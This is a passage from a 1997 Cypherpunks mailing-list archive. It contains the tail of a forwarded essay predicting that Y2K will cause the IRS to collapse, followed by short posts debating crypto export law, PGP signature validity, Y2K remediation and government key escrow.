>is 1%.  So, after you get finished with inventory, YOU HAVE 98% OF
>YOUR PROJECT AHEAD OF YOU.  Meanwhile, the IRS has not yet
>completed its inventory.
>
>     The IRS has led the American welfare state into a trap.  The Federal
>government, like the U.S. economy, will be restructured in the year
>2000.  Most Americans will be in bankruptcy by 2001, but they will be
>free.
>
>     Meanwhile, the news media are all a-dither about the Clinton-
>Congress accord on taxes, which will balance the budget in 2002.  As
>George Gobel used to say, "Suuuuuure it will."  Who is going to collect
>revenues in 2000?
>
>                   Please Help Get Us Out of This Mess!
>
>     The next section of Mr. Gross's report I find truly unique. When was
>the last time you read something like this in an agency's report on its
>own capacity?  (The next time will be the first.)
>
>          THE CHALLENGE: THE INFORMATION SYSTEMS (IS)
>          ORGANIZATION LACKS SUFFICIENT TECHNICAL
>          MANAGEMENT CAPACITY TO SIMULTANEOUSLY
>          SUPPORT TODAY'S ENVIRONMENT, EFFECTUATE THE
>          CENTURY DATE CONVERSION AND MANAGE
>         MODERNIZATION (p. 13).
>
>     This states the IRS's problem clearly: its computer systems are just
>barely making it now, and the Year 2000 Problem will torpedo them.
>
>          Mr. Gross then announces the IRS's solution: quit.  The IRS has
>now admitted that "tax administration is its core business" and it will
>now "shift responsibility for systems development and integration
>services to the private sector . . ." (p. 54).  But first, it must find
>some well-heeled partners.
>
>     "The IRS has acknowledged that its expertise now and in the future
>is tax administration."  This means that "the IS organization must be
>rebuilt to preserve the existing environment and partner with the private
>sector to Modernize the IRS" (p. 13).  I love it when someone capitalizes
>"Modernize."  Especially when it really means "officially bury."
>
>     Then the coup de grace: "Any reasonable strategy to move forward,
>therefore, would focus on managing the immediate crisis -- 'stay in
>business' while building capacity to prepare for future Modernization"
>(p. 14).  Then comes part 2 of the report:
>
>                         The Next Eighteen Months:
>                          Staying in Business and
>                        Preparing for Modernization
>
>     Mr. Gross knows that there is a deadline, and it isn't 2000.  It's
>months earlier.  He has selected June, 1999.  Most organizations have
>elected December, 1998.  This allows a year for testing.  Mr. Gross is
>more realistic.  He knows late 1998 is too early.  The IRS can't do it.  (I
>would say that late 2008 is too early.  The IRS has tried to revamp its
>computer system before.)
>
>     . . . the IRS must undertake and complete major infrastructure
>initiatives no later than June 1999, to minimally ensure century date
>compliance for each of its existing mainframes and/or their successor
>platforms.  At the same time, the IRS must complete the inventory of its
>field infrastructures as well as develop and exercise a century date
>compliance plan for the conversion replacement and/or elimination of
>those infrastructures. (p. 19).
>
>     Then comes an astounding sentence.  This sentence is astounding
>because it begins with the word, IF.  (Note: RFC stands for Request for
>Comment.)
>     IF THE INFRASTRUCTURE ANALYSIS BECOMES
>AVAILABLE, UPDATES WILL BE PROVIDED TO POTENTIAL
>OFFERERS TO ASSIST IN DEVELOPING RESPONSES TO THE
>RFC.
>
>   If...? IF...?  He is warning all those private firms that he is inviting
>in to clean up the mess that they may not be given the code analysis.  But
>code analysis constitutes the crucial 15% of any Year 2000 repair job,
>according to the California White Paper.  Then, and only then, can code
>revision begin.
>
>     Meanwhile, the IRS system's code is collapsing even without y2k.
>The programmers are not able to test all of the new code.  Mr.  Gross
>calls this "Product Assurance."  This division, he says, has "sunk to
>staffing levels less than 30 percent of the minimum industry standard . .
>.. ."  This makes it "one of the highest priorities within the IS
>organization, given that, today, major tax systems are not subjected to
>comprehensive testing prior to being migrated to production" (p. 15).  In
>short, Congress passes new tax code legislation, and the IRS
>programmers implement these changes WITHOUT TESTING THE
>NEW CODE.  Now comes y2k.  As he says, "the Century Date
>Conversion will place an extraordinary additional burden on the Product
>Assurance Program."  I don't want to bore you, but when I find the most
>amazing government document I've ever seen, I just can't stop.  Neither
>could Mr. Gross:
>
>     Regrettably, the challenge is far more overarching: to modernize
>functioning but aged legacy systems which have been nearly irreparably
>overlaid by and interfaced with a tangle of stovepiped distributed
>applications systems and networked infrastructures (p. 55).
>
>     I'll summarize.  The IRS has got bad code on 63 aging mainframe
>systems, plus micros.  It has lost some of the code manuals.  It does not
>know how much code it has.  It must now move ("migrate") the data
>from these y2k noncompliant computers -- data stored in legacy
>programs that are not y2k compliant -- to new computers with new
>programs.  These computers must interact with each other, unlike
>today's system.  Bear in mind that some of this code -- I have seen
>estimates as high as 30% -- is written in Assembler language, which is
>not understood by most programmers today: perhaps 50,000 of them,
>worldwide (Cory Hamasaki's estimate).  Then everything must be tested,
>side by side, old system vs. new system, on mainframe computers, before
>anyone can trust anything.  (This assumes that extra mainframes are
>available, but they aren't.)  Warning:
>
>     Beyond the magnitude of the applications system migration, the
>complexity and enormity of the date conversion that would be required
>necessitates careful planning and risk mitigation strategies (e.g.,
>parallel processing).  While the risks inherent in Phase III may be nearly
>incalculable given the age of the systems, the absence of critical
>documentation, dependency on Assembler Language Code (ALC) and
>the inevitable turnover of IRS workforce supporting these systems, it is
>essential to plan and execute the conversion of the Master Files and its
>related suite of applications (p. 30).
>
>     I'll say it's essential!  The key question is: Is it possible?  No.
>
>     Can you believe this sentence?  "The risks inherent in Phase III may
>be nearly incalculable . . ."  What does he mean, "may be"?  They ARE.
>
>    Meanwhile, Congress keeps changing the Internal Revenue Code.
>This creates a programming nightmare: coding the new laws.  So, how
>big is this project?  Here is how Mr. Gross describes it: "Modernization
>is the single largest systems integration undertaking in world eclipsing
>in breadth and depth any previous efforts of either the public or private
>sector.  Given the fluid nature of the Nation's Tax Laws, Modernization
>is likely to be the most dynamic, creating even greater complexity and,
>in turn, compounding the risks" (p. 54).  Many, many risks.
>
>     Two questions arise: (1) Who is going to fix it?  (2) At what price?
>The answer?  He has no answer.  All he knows is that this project is so
>huge that NORMAL COMPETITIVE BIDDING WILL NOT WORK.
>For this project, the IRS is not saying what its "partners" will be paid.
>It's open for negotiation.
>
>     You may be thinking: "Boondoggle."  I'm thinking: "Legal liability
>in 2000 larger than any company's board of directors would rationally
>want to risk, unless they think Congress will pass a no-liability law in
>2000."  Here is Mr. Gross's description of the special arrangement.  Pay
>close attention to the words "competitive process."  He bold faces them; I
>do, too.
>
>     Our challenge, therefore, is to FORGE A BUSINESS PLAN AND
>     PUBLIC/PRIVATE PARTNERSHIP in accordance with federal
>     governmental procurement laws and regulations ABSENT THE
>     TRADITIONAL LEVEL OF DETAILED REQUIREMENTS
>     TYPICALLY ESTABLISHED AS THE BASIS OF THE
>     COMPETITIVE PROCESS (p. 60).
>
>     He calls on businesses to create a "DETAILED SYSTEMS
>DEVELOPMENT PLAN" (p. 60).  He goes on: "In general, the IRS
>seeks to create a business plan which: Shares risk with the private
>sector; Incents [incents???!!!] the private sector to either share or
>assume the 'front end' capital investment . . ." (p. 60).  Read it again.
>Yes, it really says that.  THE IRS WANTS THE PRIVATE SECTOR
>TO PUT UP MOST OR ALL OF THE MONEY TO FIX ITS ENTIRE
>SYSTEM.
>
>     This is why the minimum requirement for a company to make a bid
>is $200 million in working capital.  It has to have experience in
>computers.  It must be able to repair 5 million lines of code (p. 70).
>
>     How complex is this job?  The complexity is mind-boggling: a seven-
>volume "Modernization Blueprint."  To buy it on paper costs $465, or
>you can get a copy on a free CD-ROM.  Needless to say, I got the CD-ROM.
>
>     So, you think, at least the IRS is getting on top of this problem.
>Suuuuure, it is.  The contract award date is [let's hear a drum roll,
>please]: October 1, 1998 (p. 73).  How realistic is this?  You may
>remember Mr. Gross's deadline: June 1999.  So, he expects these firms
>to be able to fix 62 million lines of noncompliant code, if they can find
>the missing code in the field offices, even though the IRS has lost the
>documentation for some of this code, in an eight-month window of
>productivity.  Social Security isn't compliant after seven years of work
>on less than half the IRS's number of lines of code.
>
>     The IRS is facing a complete breakdown.  Its staff can't fix the code.
>The IRS wants private firms to pay for the upgrade and manage the
>computer systems from now on.  It does not know how much code it has.
>It does not have manuals for all of the old code.  It does not even know
>how to pay the firms that get the contracts: either by "contractually
>greed upon fees" or "pursuant to measurable outcomes of the
>implemented systems" (p. 61).  It has called for very large and
>experienced firms to submit comments by October 1, 1997.
>
>     In short, the IRS does not know what it is doing, let alone what it
>has to do.  It only knows that it has to find a few suckers in private
>industry
>to bear the costs of implementing a new, improved IRS computer system
>and then assume responsibility for getting it Year 2000-compliant
>between October 1, 1998 and the end of June 1999.  ("There's one born
>every minute.")  Here are 12 companies that have expressed interest:
>nderson Consulting, Computer Sciences Corporation, EDS
>Government Services (EDS is not itself y2k compliant), GTE
>Government Systems, Hughes Information Technology Systems, IBM,
>Litton PRC, Lockheed Martin Corporation, Northrup Grumman
>Corporation, Ratheon E-Systems, Tracor Information Systems
>Company, and TRW.  The list is posted at:
>
>http://www.ustreas.gov/treasury/bureaus/irs/prime/interest.htm
>                                Conclusion
>
>     It's all over but the shouting.  The IRS is going bye-bye.
>Accompanying it will be the political career of Mr. Gingrich and the
>historical reputation of Mr. Clinton.  Bill Clinton will be remembered as
>the President on whose watch the Federal government shut down and
>stayed shut down.  First Mate Newt will try to avoid going down with
>the ship of state, but he won't make it.  And as for Al Gore . . . .  Well,
>maybe he can get a job herding cattle on the Texas ranch of his ex-
>roommate at Harvard, Tommy Lee Jones.  Think of it: not "Gore in
>2000," but GORED IN 2000.  Mr. Information Highway will hit a dead end.
>
>     On June 30, 1999, the IRS will know that its computers are still
>noncompliant.  On the next day, July 1, fiscal year 2000 rolls over on
>the Federal government's computers and on every state government's
>computer that has not rolled over (and shut down) on a bi-annual basis
>on July 1, 1998.  Almost every state: about half a dozen will roll over on
>October 1, 1999.
>
>     In 1999, chaos will hit the financial markets, all over the world --
>assuming that this does not happen earlier, which I do not assume.  The
>public will know the truth in 1999: THE DEFAULT ON U.S.
>GOVERNMENT DEBT IS AT HAND.  The tax man won't be able to
>collect in 2000.  The tax man will be blind.  Consider how many banks
>and money market funds are filled with T-bills and T-bonds.  Consider
>how the government will operate with the IRS completely shut down.
>Congress hasn't thought much about this.  Neither has Bill Clinton.
>
END



--
ÐÏà¡±á


Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Bill GL  Stafford
Content-Disposition: attachment; filename="vcard.vcf"



--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 18 Sep 1997 21:41:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ status test [No Reply]
Message-ID: <199709181349.IAA01487@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



SSZ Status Test

No Reply

No Repeat





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Fri, 19 Sep 1997 00:20:36 +0800
To: cypherpunks@Algebra.COM
Subject: News: Ross Anderson in article on US export vs Euro comsec
Message-ID: <199709181615.JAA26271@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



    http://www.techweb.com/wire/news/1997/09/0917crylaws.html

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Fri, 19 Sep 1997 00:38:54 +0800
To: cypherpunks@Algebra.COM
Subject: Supercomputer export link in National Security Committee report
Message-ID: <199709181634.JAA26324@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



>From JYA's copy ("Purpose and Background" section, about
8 paragraphs down):

             (3) It would direct the Secretary of Commerce to
            allow the export or re-export of encryption-capable
            software for non-military end-uses in any country, or
            computers using such software based on considerations
            of foreign availability.
    
        Importantly, the committee notes that section 3 of H.R. 695
    would require the government to approve exports of high
    performance computers (so-called ``supercomputers'') if those
    computers contain encryption products or software that are
    commercially available. In the committee's view, this is one of
    the most serious consequences and flaws of the bill. Under this
    proposed arrangement, any company would be in a position to
    force the government to allow the export of even the most
    powerful supercomputer available in the United States, if they
    first loaded a piece of foreign-available encryption software
    on the supercomputer. As confirmed by Secretary Reinsch in his
    testimony before the committee, this provision would overturn
    the Spence-Dellums amendment to H.R. 1119, the National Defense
    Authorization Act for Fiscal Year 1997, adopted by the House on
    June 19, 1997, by a vote of 332-88. That amendment would
    prevent the inadvertent export of supercomputers to
    questionable end users in countries of proliferation concern.

Are we getting screwed by a false link to supercomputers?

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Fri, 19 Sep 1997 00:55:50 +0800
To: cypherpunks@Algebra.COM
Subject: News: Ross Anderson in article on US export vs Euro comsec
Message-ID: <199709181652.JAA26435@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



Address:  http://www.techweb.com/wire/news/1997/09/0917crylaws.html

Quote:

    U.S. Crypto Laws Cripple Euros, Expert Says

    (09/17/97; 5:00 p.m. EDT)
    By Douglas Hayward, TechWire 

    CAMBRIDGE, England -- The U.S.
    government's strategy of monitoring the
    computer networks of hostile
    governments is damaging the
    communications infrastructure of its
    allies, a leading encryption expert said.

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Sep 1997 01:13:29 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Preparing the Remnant for the far side of the crisis
In-Reply-To: <v0311070eb046c146ecf3@[139.167.130.248]>
Message-ID: <v03102802b04709533c46@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




(large file elided, as it's really too large to comment on in bits, even
eliding most of it)

Gary North is not the only one forecasting a "meltdown."

There's simply no way that much code can be refactored to get the "00"
problem fixed. It isn't, of course, just a matter of doing a
search-and-replace on "00" and replacing it with "2000." For example, the
date code was picked to be 2 digits (back in the 1950s and 60s and well
into the 70s, 80s, and even 90s) to save space. Switching to 4-digit dates
would require recompilation of the code (for which the compilers may not
even run properly any longer), and the old hardware will of course not
accept straightforwardly recompiled code (because part of the code "tucked"
these compressed numbers into small registers, as but one of many examples).

Anyway, the best CASE and suchlike tools are inadequate to solve this, as
North notes.

Also, just _testing_ the new code will be a huge project. As North notes,
this will take down mainframes needed to handle the already-increasing
load. And new flaws will occur, just due to bad code and not even related
to the 00 issue. Several years would be far too short to take on this
effort...the 8 months (!!) being talked about by the IRS is laughable.

I don't know the impact. As just one example: a lot of people will be
getting warning notices asking where there Social Security payouts are
being reported, or demanding verification that they are eligible, etc.
(Various subroutines buried in millions of line of code scattered on
hundreds of old machines will incorrectly calculate ages, of course.)

(The IRS could try to "turn off" anything related to sending out notices
about age-related situations, e.g, about Social Security and IRAs and the
like, but this would chop revenue out. And add to the confusion, as people
send queries back to the IRS.)

If the IRS is only now beginning to address this monumental problem, as the
reports we are now seeing suggest, then a meltdown is inevitable. There
simply are not enough programmers to handle the job, and by Brooks' Law
(which is dominant over Moore's Law, of course) not even thousands of
skilled programmers could accomplish what is needed.

And certainly not in just a few years, much less the 8 months (!!!) being
planned.

Another thing: taxpayers and corporations will _add_ to the confusion, by
sending letters and queries back to the IRS asking about some letter or
warning they got from the IRS. For some, this will even be a tactic to
delay payment almost indefinitely. ("I received your letter of blah blah
telling me I am not eligible for blah blah benefits. Before I can complete
my tax return for the year 1999, please advise me about blah blah.")

It is conceivable that the Year 2000 problem, which is really the "archaic,
distributedm, chaotic, too-big data base problem," could accelerate the
conversion to a simpler tax, perhaps a 15% flat tax. (Even a flat tax needs
consideration of what income really is, what apparent income is not real
income, etc. But a flat tax which ignored Social Security income and
deductions, for example, or other social transfer payments, would be much
simpler for government computers to handle.)

The notion of privatizing the system will not really help much, not in the
handful of months before the impact hits. And there are worrisome aspects
to this privatization. Recall that previous regimes had problems collecting
taxes, and issued "letters of marque and reprisal" for "privateers" to stop
ships on the high seas to collect taxes for the crown. Sir Francis Drake
made his fortune this way, collecting taxes for Elizabeth I.

How will it go when Electronic Data Systems or TRW are the ones computing
the taxes owed? (TRW has that nice advantage of already having our credit
spending habits.)

It's gonna be exciting.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 18 Sep 1997 22:22:34 +0800
To: cypherpunks@toad.com
Subject: Re: National Security Committee amendments to SAFE
Message-ID: <199709181407.HAA05208@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



"Peter D. Junger" <junger@upaya.multiverse.com> writes:
> I do not want to give Congress any ideas, but there is also the
> possibility that they could take away the federal courts' jurisdiction
> to hear constitutional questions without amending the constitution.
> On the other hand it is possible that the courts would find a way to
> hold that that limitation on their jurisdiction is unconstitutional.

> Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH

If Congress or the Executive branch do this, the American people and 
nation will be in far, far deeper trouble than would be caused by mere 
crypto restrictions.

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alexander <alex.guy@software.com>
Date: Fri, 19 Sep 1997 02:14:05 +0800
To: cmcmanis@FreeGate.net
Subject: Re: Crypto-law etc
In-Reply-To: <3420310E.ADFFE243@FreeGate.net>
Message-ID: <199709181747.KAA00729@chernobyl.software.com>
MIME-Version: 1.0
Content-Type: text/plain




> If the White House can get crypto code defined in the true
> legal sense (that is backed up by case law) as a munition,
> do US citizens then have a constitutional right to "bear" it?
You have the right to bear arms, but if it is deadlier than a bee-bee gun
you will be restricted. ;)


Alexander






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 19 Sep 1997 01:41:47 +0800
To: cypherpunks@toad.com
Subject: Re: PGP signature legal standing?
In-Reply-To: <19970918145759.25884.qmail@desk.crynwr.com>
Message-ID: <qDg9ce1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Russell Nelson <nelson@crynwr.com> writes:

> Is there any legal standing for a PGP signature?  I'm tired of my
> luser customers faxing me legal documents, then expecting me to sign
> it and fax it back.  Yeah, right, like photoshop can't cut-n-paste.
> I've got a fax modem on my Linux box, so I'm going to start (in fact
> have started) uuencoding the .g3 file, indicating my assent, and
> emailing it back to them.

IANAL, but: what if you first sign a paper contract saying that PGP
signatres are binding?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 19 Sep 1997 01:19:24 +0800
To: Russell Nelson <nelson@crynwr.com>
Subject: Re: PGP signature legal standing?
In-Reply-To: <19970918145759.25884.qmail@desk.crynwr.com>
Message-ID: <199709181709.NAA10083@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970918145759.25884.qmail@desk.crynwr.com>, on 09/18/97 
   at 02:57 PM, Russell Nelson <nelson@crynwr.com> said:

>Is there any legal standing for a PGP signature?  I'm tired of my luser
>customers faxing me legal documents, then expecting me to sign it and fax
>it back.  Yeah, right, like photoshop can't cut-n-paste. I've got a fax
>modem on my Linux box, so I'm going to start (in fact have started)
>uuencoding the .g3 file, indicating my assent, and emailing it back to
>them.

Well I *ALWAYS* have any legal documents signed & notarized and then
snail-mailed. Faxing/e-mail is only used for drafts.

Be vary wary of Digital signature laws. They are being drafted by the
clueless and IMHO will cause more problems then they are worth in the long
run (no law is better than a bad law).

A case in point; I just received word that under the Utah Digital
Signature Law "encryption, of and by itself, would constitute the legal
force of signature". Now I received this third hand but the quote came
from the author of the Utah law. Why this is a *BAD* thing is left as an
exercise for the reader.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Sep 1997 02:49:37 +0800
To: John Young <cypherpunks@Algebra.COM
Subject: Re: New Computer Security Act
In-Reply-To: <1.5.4.32.19970918020421.006952c4@pop.pipeline.com>
Message-ID: <v03102807b04725f6f699@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




(Toad.com address changed to algebra.com. Hugh Daniel confirmed to me that
about 130 subscribers are still using the toad.com address. And he
confirmed that none of them are getting the traffic sent to the "real"
Cypherpunks lists, those at algebra.com, cyberpass.net, and ssz.com. I
again urge folks to get with the program. Toad.com is going to vanish
someday, at least as any kind of distribution site for CP traffic.)

At 7:04 PM -0700 9/17/97, John Young wrote:
>The Computer Security Enhancement Act of 1997 (HR1903)
>is intended to replace the Computer Security Act of 1987.
>It redefines the role of NIST in meeting federal computer security
>and encryption requirements through cooperation of industry.
>Public use of encryption is also addressed in the bill.
>

By the way, today is the 50th anniversary of the National Security Act,
which created the National Security Agency and the United States Air Force,
amongst other things (some of them probably still secret).

I doubt Clinton will be at the Fort Meade HQ for a ceremony, as he's on his
way to Stanford, where both of us will, amazingly enough, be tomorrow. Wish
me luck!

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 19 Sep 1997 01:15:41 +0800
To: Ernest Hua <hua@chromatic.com>
Subject: Re: News: Ross Anderson in article on US export vs Euro comsec
In-Reply-To: <199709181652.JAA26435@ohio.chromatic.com>
Message-ID: <199709181704.NAA09885@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199709181652.JAA26435@ohio.chromatic.com>, on 09/18/97 
   at 09:52 AM, Ernest Hua <hua@chromatic.com> said:

>Quote:

>    U.S. Crypto Laws Cripple Euros, Expert Says

>    (09/17/97; 5:00 p.m. EDT)
>    By Douglas Hayward, TechWire 

>    CAMBRIDGE, England -- The U.S.
>    government's strategy of monitoring the
>    computer networks of hostile
>    governments is damaging the
>    communications infrastructure of its
>    allies, a leading encryption expert said.

Allies?? What Allies?!? It only has criminal co-conspirators of other
foreign governments.

Hang 'em all, hang 'em high!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=knPF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 19 Sep 1997 03:24:48 +0800
To: Tim May <tcmay@got.net>
Subject: y2k as ideological opportunity
In-Reply-To: <v03102802b04709533c46@[207.167.93.63]>
Message-ID: <199709181916.MAA17831@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




the y2k question with regards to the government has a key
question: suppose computers start cranking out nonsense.
how fast can each problem be fixed? the IRS has armies
of people *right*now* that do nothing but fix problems
created by the computers. how far would this force go
toward fixing all y2k problems? not far, I imagine. but
one thing that Gary North is not emphasizing a lot is
that the big question is how fast new forces can be mobilized
when the government finds itself in a crisis. it is
true at the current rate it looks dismal for the govt to
fix the problems in time, but govt has huge amounts of 
monetary resources to throw at problems when it wants to.
does anyone have any idea how much cash sloshes around in
defense industries? 

sure, the computers may go haywire
for a few days, or a few weeks, but this may not have
a noticeable impact on govt as usual. the govt has an
army of clerks that can be mobilized to do by hand much
of what is required. it is a small force, but what I am pointing
out is that this is not a black-or-white success-failure
proposition. the government is  notoriously ingenious at
"limping along" on limited resources!!

===

this is my call out to PROGRAMMERS not to work on projects
that you don't consider ideologically valid. let's start
a movement in which "intellectual capital" refuses to be
routed toward supporting oppressive, self-perpetuating,
dying welfare-state institutions.  imagine a worldwide
programmer union or movement in which programmers refuse
to work on y2k problems in the government and refuse to
work on other projects they do not support, no matter what
the money. 

they say that every man has his price.
integrity has no price!! imagine, would you turn down any
amount of money to work on the corrupt state mechanisms?
this is exactly what is required to bring them down. as
long as they can continue to bribe the populace with its
own money, they will continue.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 19 Sep 1997 02:49:09 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Preparing the Remnant for the far side of the crisis
In-Reply-To: <v0311070eb046c146ecf3@[139.167.130.248]>
Message-ID: <Pine.LNX.3.95.970918122938.805B-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 18 Sep 1997, Robert Hettinga posted:
(and someone else wrote)

> >
> >     In 1999, chaos will hit the financial markets, all over the world --
> >assuming that this does not happen earlier, which I do not assume.  The
> >public will know the truth in 1999: THE DEFAULT ON U.S.
> >GOVERNMENT DEBT IS AT HAND.  The tax man won't be able to
> >collect in 2000.  The tax man will be blind.  Consider how many banks
> >and money market funds are filled with T-bills and T-bonds.  Consider
> >how the government will operate with the IRS completely shut down.
> >Congress hasn't thought much about this.  Neither has Bill Clinton.

Two words,

"Sell Bonds!"


> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/

Interesting juxtaposition, eh?

Jim Burnes

      "How do you explain school to higher intelligence?"
               Elliot to his brother in ET






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 19 Sep 1997 01:03:34 +0800
To: cypherpunks <cypherpunks@cyberpass.net
Subject: Why GAK is uncool - preaching to the choire
Message-ID: <Pine.SUN.3.96.970918124054.9933A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain





Reasons why it sucks:

* It assumes that everyone is guilty until proven innocent.  The only way
to prove you're innocent is of course to have them look at your
communications.

* It is the  cyber equivalent of installing cameras, microphones, and 
other surveilance gear in every room of your house (for a desktop machine)
and in your car (for your notebook/pda).

* When people buy crypto enabled software they do so because they have a
need for privacy.  GAK puts a back door into their need for privacy which
makes them not trust the software since Big Uncle can violate that privacy
at whim.

* People will not trust American produced crypto, American software
companies will go out of business.

* People who need truly secure communications will have to decide between
privacy or being law-abiding.  Not only does GAK assume everyone is guilty
before it being proven, but it will FORCE some to break the law.  It
criminalizes a right that's as basic as breathing.

* It will not stop any crimes, criminals will simply use strong crypto
developed on their own, or older non-GAKk'ed products.  Those criminals
will not be caught through crypto, they will be caught through their
actions in the real world - i.e. shipments of cocaine stopped at the
border by rug sniffing dogs, etc.

* Even if the criminals or terrorists don't use unGAKed software, they
will simply develop code phrases that look like "Hi Mom, everything is
fine at Camp 5, the food smells bad" to mean "send 5 tons of cocaine" and
"Hi Dad, life is good at school, can you send me a pair of socks" to mean
"send two tons of pot" or some such.

* It installs a Law Enforcement Agent in every crypto software.  That
Agent is dormant until the LEA's decide to wake it, but it is the
equivalent of quarterring LEA's in every crypto software, remote
controlled or not, that's what GAK is.

* If the DOD can't be trusted to be honorable when it comes to paying for
software (see blurb in CommWeek - or was it ComputerWorld where the SPA
reports that over 50% of all software intalled on DoD computers is in
copyright violation!) how can the LEA's be trusted to get honest warrants
for listening in?  

* And let's not forget the honorable DoJ and the Inslaw affair.

* Well we, all know that the LEA's can easily obtain warrants by simply
saying any combination of the following "suspected of:  illegal drug
trafficking, child porn,amassing weapons, or terrorist leanings." More
likely, they'll simply listen in to all traffic the way the NSA listens in
to all telegrams.  If their charter doesn't allow it, they'll co-operate
with the Brits and have them pass the info back to make it "legal."  The
Feds will simply listen to all traffic, if they see something interesting,
then they'll get a warrant and listen for more. 

* The TLA's have to realize that the cold war is OVER, and that the
American people against whom they wish to spy is their employer.  Our Tax
money pays these people to spy on us.  We're their boss, it's time to give
them new orders by voting against GAK. (Not that at this point voting
means shit.)

(Now if I get a chance, I'll turn that into yet another letter to fax spam
kongresskritters with but feel free to appropriat the above and add to 
it and use it as needed...)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 19 Sep 1997 02:35:18 +0800
To: Alexander <alex.guy@software.com>
Subject: Re: Crypto-law etc
